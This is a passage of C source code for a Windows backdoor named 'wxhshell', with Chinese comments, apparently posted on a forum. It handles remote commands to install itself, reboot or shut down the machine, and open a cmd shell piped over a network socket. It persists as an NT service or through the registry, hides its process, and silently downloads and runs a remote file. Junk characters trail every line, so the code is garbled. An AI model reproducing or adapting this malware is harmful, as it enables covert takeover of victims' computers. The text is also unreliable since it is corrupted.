    break; ]8c%)%Vi  
  } `> :^c  
  // 安装 A.%MrgOOX  
  case 'i': { @uJ^k >B  
    if(Install()) }=fVO<R v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gI /#7Cr  
    else \a}_=O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *wd@YMOP  
    break; ^F e %1Lnt  
    } a*g7uaoP  
  // 卸载 : CR1Oy9  
  case 'r': { + bU*"5"  
    if(Uninstall()) ]w+n39da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z K+C&X  
    else  !=f$ [1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a(a 2xa  
    break; 6M/*]jLq4  
    } 0?0$6F  
  // 显示 wxhshell 所在路径 l )m]<E X  
  case 'p': { !VXs yH3r5  
    char svExeFile[MAX_PATH]; 3%NbT  
    strcpy(svExeFile,"\n\r"); E;>Bc Pt5  
      strcat(svExeFile,ExeFile); jO9w7u6  
        send(wsh,svExeFile,strlen(svExeFile),0); ' thEZ  
    break; DJGq=*  
    } rZt7C(FM$7  
  // 重启 IcDAl~uG  
  case 'b': { e]qbh_A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); waYH_)Zx  
    if(Boot(REBOOT)) rRK^vfoJ`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |LwW/>I  
    else { +kXj+2  
    closesocket(wsh); KXtc4wra  
    ExitThread(0); (oiF05n h  
    } YM(` E9{h  
    break; K5ywO8_6`  
    } ,]\:]Y&?  
  // 关机 /;K?Y#mf~j  
  case 'd': { M }H7`,@I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +I9+L6>UR  
    if(Boot(SHUTDOWN)) |fd}B5!c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,O;+fhUJ(  
    else { xwm-)~L4T  
    closesocket(wsh); zq?Iwyo  
    ExitThread(0); Y unY'xY  
    } m$UrY(6d  
    break; , id`=L=  
    } F[65)"^  
  // 获取shell vA(')"DDT  
  case 's': { Kr*s]O  
    CmdShell(wsh); Rw R.*?#  
    closesocket(wsh); !8#!P  
    ExitThread(0); !FhiTh:GCh  
    break; G|"`kAa  
  } G ]T A7~VT  
  // 退出 FQ72VY  
  case 'x': { R8ui LZd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >UQ`@GdafR  
    CloseIt(wsh); o (OC3  
    break; [8sL);pJO  
    } k/|j e~$  
  // 离开 Mv O!p  
  case 'q': { }: W6Bo-|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ];|;")#=  
    closesocket(wsh); qZ:--,9+  
    WSACleanup(); ?D^l&`S  
    exit(1); o#IQz_  
    break; g[W`4  
        } SAa hkX  
  } |0wUOs*5  
  } F>F&+63Q-  
D-zqu~f`  
  // 提示信息 L'>t:^QTh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9bpY>ze  
} m;v/(d>  
  } I&} Md73  
|VC/ (A  
  return; mST/u>'  
} qX(sx2TK  
y?|JBf  
// shell模块句柄 $X%w9l e  
int CmdShell(SOCKET sock) 9tnW:Nw~  
{ quB .A7~^=  
STARTUPINFO si; }tIIA"dZ  
ZeroMemory(&si,sizeof(si)); uQ;b'6Jcp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XG5mfKMt+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %rz.>4i)(  
PROCESS_INFORMATION ProcessInfo; #eqy!QdePf  
char cmdline[]="cmd"; |<@X* #X5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s -Mzl?o  
  return 0; 6m$,t-f0b  
} !J}Bv  
<tEN1i  
// 自身启动模式 v :YW[THre  
int StartFromService(void) &}1PH% 6  
{ B=:7N;BT  
typedef struct Ny;(1N|&3  
{ i%+p\eeq*  
  DWORD ExitStatus; *Mt's[8  
  DWORD PebBaseAddress;  \|Qx`-  
  DWORD AffinityMask; HNA/LJl[VU  
  DWORD BasePriority; _RFTm.9&  
  ULONG UniqueProcessId; gE/O29Y  
  ULONG InheritedFromUniqueProcessId; /x6,"M[97  
}   PROCESS_BASIC_INFORMATION; m CFScT  
0R,?$qM\  
PROCNTQSIP NtQueryInformationProcess; 'm@0[i  
9HlRf6S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fPs' A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sskwJu1  
{XMF26C#  
  HANDLE             hProcess; w. gI0`  
  PROCESS_BASIC_INFORMATION pbi; Qwn/ ,  
eI@LVi6<b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -.|V S|y  
  if(NULL == hInst ) return 0; slV+2b  
[s-Km/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D7b<&D@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uL^Qtmm>M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y!LcS48X  
QvK-3w;=  
  if (!NtQueryInformationProcess) return 0; \gRX:i#n  
3 T$gT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c|[:vin  
  if(!hProcess) return 0; K@P5]}'#  
Gb6t`dSzz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GZ# 6}/;b  
oagxTFh8~  
  CloseHandle(hProcess);  9x/HQ(1  
s+>VqyHgf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d]0.6T1[K  
if(hProcess==NULL) return 0; R9o3T)9V  
k:nR'TI  
HMODULE hMod; |:SBkM,  
char procName[255]; =(ts~^  
unsigned long cbNeeded; q1sK:)Hu+  
L+7j4:$B8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5|!x0H;  
s5T$>+ a  
  CloseHandle(hProcess); m!3L/UZ  
> $0eRVL  
if(strstr(procName,"services")) return 1; // 以服务启动 6R V]9  
JnCp'`  
  return 0; // 注册表启动 jW5n^Y)  
} )&}\2NK6L  
$E@L{5Yt  
// 主模块 ;/#E!Ja/ u  
int StartWxhshell(LPSTR lpCmdLine) `JyTS~v$  
{ sZ #Ck"n  
  SOCKET wsl; 1\:puC\)  
BOOL val=TRUE; @e#eAJhU  
  int port=0; hc}d S$=C  
  struct sockaddr_in door; mAh0xgm  
|><hdBQXX<  
  if(wscfg.ws_autoins) Install(); 0UeDM*  
O7|0t\)  
port=atoi(lpCmdLine); {7 &(2Z]z  
(#FWA<o  
if(port<=0) port=wscfg.ws_port; }R:eKj  
Mi&,64<  
  WSADATA data; 1UX"iO x(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BX&bhWYGFX  
9\RSJGx6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $lmbeW[0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u"r~5  
  door.sin_family = AF_INET; ;:Q 5?zM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y<M,/Y_ !  
  door.sin_port = htons(port); k`Nc<nN8  
u9rlNmf$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Emeo&X  
closesocket(wsl); %E Jv!u*-  
return 1; So?SBh1C  
} iLw O4i  
< U`lh  
  if(listen(wsl,2) == INVALID_SOCKET) { ~;O|$xL  
closesocket(wsl); 44 ,:@  
return 1; mw%do&e  
} p@]\ N  
  Wxhshell(wsl); YIo $  
  WSACleanup(); ^Ts|/+}'i  
O_aZ\28};C  
return 0; }I<r=?  
^l|{*oj2  
} T6MlKcw,t  
KCd}N  
// 以NT服务方式启动 BYuF$[3ya&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s7=CH   
{ VAf"B5 R  
DWORD   status = 0; ,2T&33m  
  DWORD   specificError = 0xfffffff; =?>f[J5  
@~% R%Vu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @Z> {/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^lhV\YxJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tcyami6D4  
  serviceStatus.dwWin32ExitCode     = 0; (#GOXz  
  serviceStatus.dwServiceSpecificExitCode = 0; <EFA^,3t%  
  serviceStatus.dwCheckPoint       = 0; x!GHUz*:uz  
  serviceStatus.dwWaitHint       = 0; _4F(WCco  
@qk$ 6X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  (`PgvBL:  
  if (hServiceStatusHandle==0) return; `%}SK~<R  
-(9>{!",J  
status = GetLastError(); 7Y T%.ID  
  if (status!=NO_ERROR) }SYR)eE\  
{ (A(7?eq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !gA<9h  
    serviceStatus.dwCheckPoint       = 0; 9}^nozR,I  
    serviceStatus.dwWaitHint       = 0; 9x@( K|  
    serviceStatus.dwWin32ExitCode     = status; -N;$L~`iAt  
    serviceStatus.dwServiceSpecificExitCode = specificError; .%;`: dtj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o))z8n?b  
    return; 7(cRm$)L  
  } !$N^Ak5#  
d-Vttxa6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9jq}`$S{  
  serviceStatus.dwCheckPoint       = 0; Hhx"47:  
  serviceStatus.dwWaitHint       = 0; .vsrZ_y?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^R- -&{I  
} jp=z ^l  
{3n|=  
// 处理NT服务事件,比如:启动、停止 "D#+:ix8G|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <QbD ;(%  
{ j"6r]nc&  
switch(fdwControl) zOJ4I^^  
{ 278:5yC  
case SERVICE_CONTROL_STOP: 02B *cz_K  
  serviceStatus.dwWin32ExitCode = 0; pQv`fr=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MLwh&I9)  
  serviceStatus.dwCheckPoint   = 0; jb;!"HC  
  serviceStatus.dwWaitHint     = 0; #1fT\aP  
  { q?} /q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d%+oCoeb  
  } FW* k O  
  return; eC`} oEz  
case SERVICE_CONTROL_PAUSE: x!5b" "  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dH:z _$Mg  
  break; sa8JN.B  
case SERVICE_CONTROL_CONTINUE: o/0cd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cGF_|1`  
  break; KnL-qc  
case SERVICE_CONTROL_INTERROGATE: 6ub-NtVu  
  break; 9N1Uv,OtB  
}; XC 44]o4jx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =' %r"_`}  
} sBUK v(U)  
ogD 8qrZ6J  
// 标准应用程序主函数 \S #Mc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wf*G+&b d2  
{ eCejO59F9  
l Tpn/  
// 获取操作系统版本 d^uE4F}  
OsIsNt=GetOsVer(); wJ.?u]f@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vG E;PwR  
vh+ ' W  
  // 从命令行安装 n^}M*#  
  if(strpbrk(lpCmdLine,"iI")) Install(); <'(O0  
E2.@zY|:  
  // 下载执行文件 [l~Gwaul>  
if(wscfg.ws_downexe) { ^YVd^<cE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jLc"1+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y dgDMd-1  
} pI>yO~Ve  
YoC{ t&rY  
if(!OsIsNt) { |76G#K~<X  
// 如果时win9x,隐藏进程并且设置为注册表启动 sd(Yr6~..  
HideProc(); K;uOtbdOK  
StartWxhshell(lpCmdLine); ,[gu7z^|  
} gc5u@(P"  
else [Eq7!_ 3  
  if(StartFromService()) A=N &(k  
  // 以服务方式启动 %P3|#0yg0  
  StartServiceCtrlDispatcher(DispatchTable); !V%h0OE\  
else <H; z4  
  // 普通方式启动 i sK_t*  
  StartWxhshell(lpCmdLine); Kp]\r-5UD>  
-_%8Q#"  
return 0; x6n(BMr  
}
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只看该作者 1 发表于: 2006-10-10
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